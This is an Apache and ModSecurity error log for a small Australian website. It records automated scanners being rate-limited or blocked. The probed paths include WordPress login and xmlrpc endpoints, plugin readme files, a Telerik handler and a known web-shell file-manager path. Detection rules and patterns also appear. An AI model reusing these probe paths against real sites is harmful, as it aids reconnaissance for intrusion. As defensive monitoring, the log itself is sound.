[Thu Apr 02 19:35:47.563015 2026] [:error] [pid 54384:tid 54393] [client 147.135.212.200:33170] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ac5Uk9WWpaby3TVN7McJMwAAAcc"]
[Thu Apr 02 19:35:50.088059 2026] [:error] [pid 23927:tid 23933] [client 147.135.212.200:33176] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ac5UlksZwqCndhl9uKCmiAAAAYQ"]
[Thu Apr 02 19:35:52.589704 2026] [:error] [pid 59201:tid 59290] [client 147.135.212.200:33186] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ac5UmMAC0Tw8eL6gzZ4W7QAAAJc"]
[Thu Apr 02 19:35:55.117684 2026] [:error] [pid 59194:tid 59223] [client 147.135.212.200:33194] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ac5UmxMpAeV11hcQehxBawAAAAo"]
[Thu Apr 02 19:35:57.614454 2026] [:error] [pid 59305:tid 59315] [client 147.135.212.200:35360] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ac5Unar2tV4rDwKFxKd-ZQAAAMY"]
[Thu Apr 02 19:36:00.105146 2026] [:error] [pid 54384:tid 54397] [client 147.135.212.200:35374] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ac5UoNWWpaby3TVN7McJSQAAAcs"]
[Thu Apr 02 19:36:02.581468 2026] [:error] [pid 29467:tid 29477] [client 147.135.212.200:35386] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ac5Uor4VUBFCJAq-WOlvcwAAAQc"]
[Thu Apr 02 19:36:05.103836 2026] [:error] [pid 59305:tid 59332] [client 147.135.212.200:35396] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ac5Upar2tV4rDwKFxKd-cwAAANc"]
[Thu Apr 02 19:36:07.436426 2026] [:error] [pid 37543:tid 37559] [client 147.135.212.200:44016] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ac5Up3hdk2bEYJCvILbXNQAAAU4"]
[Thu Apr 02 19:36:09.752158 2026] [:error] [pid 29467:tid 29475] [client 147.135.212.200:44022] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ac5Uqb4VUBFCJAq-WOlvggAAAQU"]
[Thu Apr 02 19:36:12.234798 2026] [:error] [pid 29467:tid 29473] [client 147.135.212.200:44028] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ac5UrL4VUBFCJAq-WOlvjgAAAQM"]
[Thu Apr 02 20:12:55.172636 2026] [:error] [pid 59305:tid 59326] [client 82.123.63.127:56424] [client 82.123.63.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.123.63.127, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ac5dR6r2tV4rDwKFxKeQRgAAANE"]
[Thu Apr 02 21:17:27.411508 2026] [:error] [pid 23927:tid 23930] [client 43.135.140.225:36510] [client 43.135.140.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ac5sZ0sZwqCndhl9uKDQJwAAAYE"]
[Thu Apr 02 22:09:58.696824 2026] [:error] [pid 59305:tid 59333] [client 91.137.27.140:7125] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24th%20slot.aspx"] [unique_id "ac54tqr2tV4rDwKFxKfVHQAAANg"]
[Thu Apr 02 22:10:01.276608 2026] [:error] [pid 59201:tid 59267] [client 91.137.27.140:27659] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "ac54ucAC0Tw8eL6gzZ48ZQAAAIA"]
[Thu Apr 02 22:10:03.893545 2026] [:error] [pid 54384:tid 54389] [client 91.137.27.140:41311] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "ac54u9WWpaby3TVN7Mc5MQAAAcM"]
[Thu Apr 02 22:10:06.486087 2026] [:error] [pid 59194:tid 59237] [client 91.137.27.140:21338] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "ac54vhMpAeV11hcQehxb2gAAABg"]
[Thu Apr 02 22:10:08.958278 2026] [:error] [pid 59200:tid 59262] [client 91.137.27.140:60050] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ac54wLfP26txrdLs3EqOkQAAAFY"]
[Thu Apr 02 22:10:11.423375 2026] [:error] [pid 59305:tid 59331] [client 91.137.27.140:10464] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ac54w6r2tV4rDwKFxKfVZQAAANY"]
[Thu Apr 02 22:10:13.992439 2026] [:error] [pid 37543:tid 37563] [client 91.137.27.140:5546] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ac54xXhdk2bEYJCvILYC6AAAAVI"]
[Thu Apr 02 22:10:16.495420 2026] [:error] [pid 23927:tid 23940] [client 91.137.27.140:15185] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ac54yEsZwqCndhl9uKDkhQAAAYs"]
[Thu Apr 02 22:10:19.000537 2026] [:error] [pid 37543:tid 37555] [client 91.137.27.140:46255] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ac54ynhdk2bEYJCvILYC-AAAAUo"]
[Thu Apr 02 22:10:21.371786 2026] [:error] [pid 59194:tid 59229] [client 91.137.27.140:9458] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ac54zRMpAeV11hcQehxb8gAAABA"]
[Thu Apr 02 22:10:23.808267 2026] [:error] [pid 29467:tid 29481] [client 91.137.27.140:17315] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ac54z74VUBFCJAq-WOnb3wAAAQs"]
[Thu Apr 02 22:10:26.248467 2026] [:error] [pid 59305:tid 59331] [client 91.137.27.140:52941] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ac540qr2tV4rDwKFxKfVjQAAANY"]
[Thu Apr 02 22:10:28.841642 2026] [:error] [pid 59201:tid 59278] [client 91.137.27.140:26789] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ac541MAC0Tw8eL6gzZ48zwAAAIs"]
[Thu Apr 02 22:10:31.256042 2026] [:error] [pid 59305:tid 59314] [client 91.137.27.140:61977] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ac5416r2tV4rDwKFxKfVwAAAAMU"]
[Thu Apr 02 22:10:33.846744 2026] [:error] [pid 54384:tid 54386] [client 91.137.27.140:1890] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ac542dWWpaby3TVN7Mc5VAAAAcA"]
[Thu Apr 02 22:10:36.382323 2026] [:error] [pid 23927:tid 23944] [client 91.137.27.140:41385] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ac543EsZwqCndhl9uKDklAAAAY8"]
[Thu Apr 02 22:10:38.926934 2026] [:error] [pid 37543:tid 37553] [client 91.137.27.140:20066] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ac543nhdk2bEYJCvILYDEgAAAUg"]
[Thu Apr 02 22:10:41.337218 2026] [:error] [pid 23927:tid 23952] [client 91.137.27.140:46800] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ac544UsZwqCndhl9uKDkqgAAAZc"]
[Thu Apr 02 22:10:43.728849 2026] [:error] [pid 59305:tid 59310] [client 91.137.27.140:62627] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ac5446r2tV4rDwKFxKfV3wAAAME"]
[Thu Apr 02 22:10:46.251728 2026] [:error] [pid 59305:tid 59330] [client 91.137.27.140:3158] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ac545qr2tV4rDwKFxKfV6wAAANU"]
[Thu Apr 02 22:10:48.654362 2026] [:error] [pid 29467:tid 29473] [client 91.137.27.140:51112] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ac546L4VUBFCJAq-WOncBQAAAQM"]
[Thu Apr 02 22:10:51.064666 2026] [:error] [pid 59305:tid 59322] [client 91.137.27.140:52294] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ac5466r2tV4rDwKFxKfV_wAAAM0"]
[Thu Apr 02 22:10:53.469899 2026] [:error] [pid 59305:tid 59329] [client 91.137.27.140:12678] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ac547ar2tV4rDwKFxKfWFwAAANQ"]
[Thu Apr 02 22:11:04.304275 2026] [:error] [pid 59201:tid 59285] [client 91.137.27.140:6551] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ac54-MAC0Tw8eL6gzZ48_AAAAJI"]
[Thu Apr 02 22:11:06.790039 2026] [:error] [pid 23927:tid 23929] [client 91.137.27.140:27105] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "ac54-ksZwqCndhl9uKDk-wAAAYA"]
[Thu Apr 02 22:11:09.315907 2026] [:error] [pid 29467:tid 29473] [client 91.137.27.140:17271] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "ac54_b4VUBFCJAq-WOncMQAAAQM"]
[Thu Apr 02 22:11:11.857301 2026] [:error] [pid 37543:tid 37564] [client 91.137.27.140:28844] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ac54_3hdk2bEYJCvILYDKAAAAVM"]
[Thu Apr 02 22:11:14.269655 2026] [:error] [pid 59201:tid 59291] [client 91.137.27.140:5088] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "ac55AsAC0Tw8eL6gzZ49AwAAAJg"]
[Thu Apr 02 23:52:25.419665 2026] [:error] [pid 59305:tid 59318] [client 1.15.52.154:44164] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ac6Quar2tV4rDwKFxKcMiwAAAMk"]
[Fri Apr 03 03:04:41.931883 2026] [:error] [pid 25035:tid 25442] [client 45.156.128.177:49120] [client 45.156.128.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.128.177, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ac69yRhR292toNOkLqHqKgAAAIA"], referer: https://vetstars.com.au/login
[Fri Apr 03 03:06:59.420919 2026] [:error] [pid 25018:tid 25436] [client 45.156.128.177:33346] [client 45.156.128.177] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".web.ui.webresource.axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/Telerik.Web.UI.WebResource.axd"] [unique_id "ac6-U3upR6lXnAUzFGokNwAAAFc"]
[Fri Apr 03 03:09:14.241211 2026] [authz_core:error] [pid 7029:tid 7042] [client 45.156.128.178:56232] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache/readme.txt
[Fri Apr 03 03:09:29.173786 2026] [authz_core:error] [pid 25035:tid 25461] [client 45.156.128.178:34932] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/wordpress-seo/readme.txt
[Fri Apr 03 03:09:29.237653 2026] [authz_core:error] [pid 25035:tid 25449] [client 45.156.128.176:46562] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/really-simple-ssl/readme.txt
[Fri Apr 03 03:09:29.719013 2026] [authz_core:error] [pid 7029:tid 7057] [client 45.156.128.178:34972] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/updraftplus/readme.txt
[Fri Apr 03 03:09:30.174153 2026] [authz_core:error] [pid 6638:tid 6653] [client 45.156.128.178:35018] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/smart-slider-3/readme.txt
[Fri Apr 03 03:09:54.550821 2026] [:error] [pid 7029:tid 7051] [client 45.156.128.176:42932] [client 45.156.128.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-user-avatar/readme.txt"] [unique_id "ac6_AgXgjNoKcFYPs7jydwAAA1A"]
[Fri Apr 03 03:10:07.854858 2026] [:error] [pid 6638:tid 6651] [client 45.156.128.177:38610] [client 45.156.128.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login.do"] [unique_id "ac6_D82khZ4zPe7L5k5-LwAAAUc"]
[Fri Apr 03 03:10:09.317686 2026] [:error] [pid 6718:tid 6742] [client 45.156.128.176:54938] [client 45.156.128.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ac6_ERcJBvdSRfIrgC4hWAAAAdY"]
[Fri Apr 03 03:10:10.469503 2026] [:error] [pid 6718:tid 6731] [client 45.156.128.176:54944] [client 45.156.128.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index.jsp"] [unique_id "ac6_EhcJBvdSRfIrgC4hZAAAAcs"]
[Fri Apr 03 03:10:11.449805 2026] [:error] [pid 6798:tid 6820] [client 45.156.128.176:54960] [client 45.156.128.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ac6_E_ZdLmBdUlbuwjrsLAAAAlA"]
[Fri Apr 03 03:10:20.592267 2026] [:error] [pid 7029:tid 7049] [client 45.156.128.178:39604] [client 45.156.128.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/solr/"] [unique_id "ac6_HAXgjNoKcFYPs7jypwAAA04"]
[Fri Apr 03 03:20:33.223115 2026] [:error] [pid 6852:tid 6878] [client 20.107.223.239:46558] [client 20.107.223.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac7Bgcd4tRtTDmfkwZj0xAAAApM"]
[Fri Apr 03 03:20:34.359196 2026] [:error] [pid 6798:tid 6827] [client 20.107.223.239:40098] [client 20.107.223.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac7BgvZdLmBdUlbuwjruOgAAAlc"]
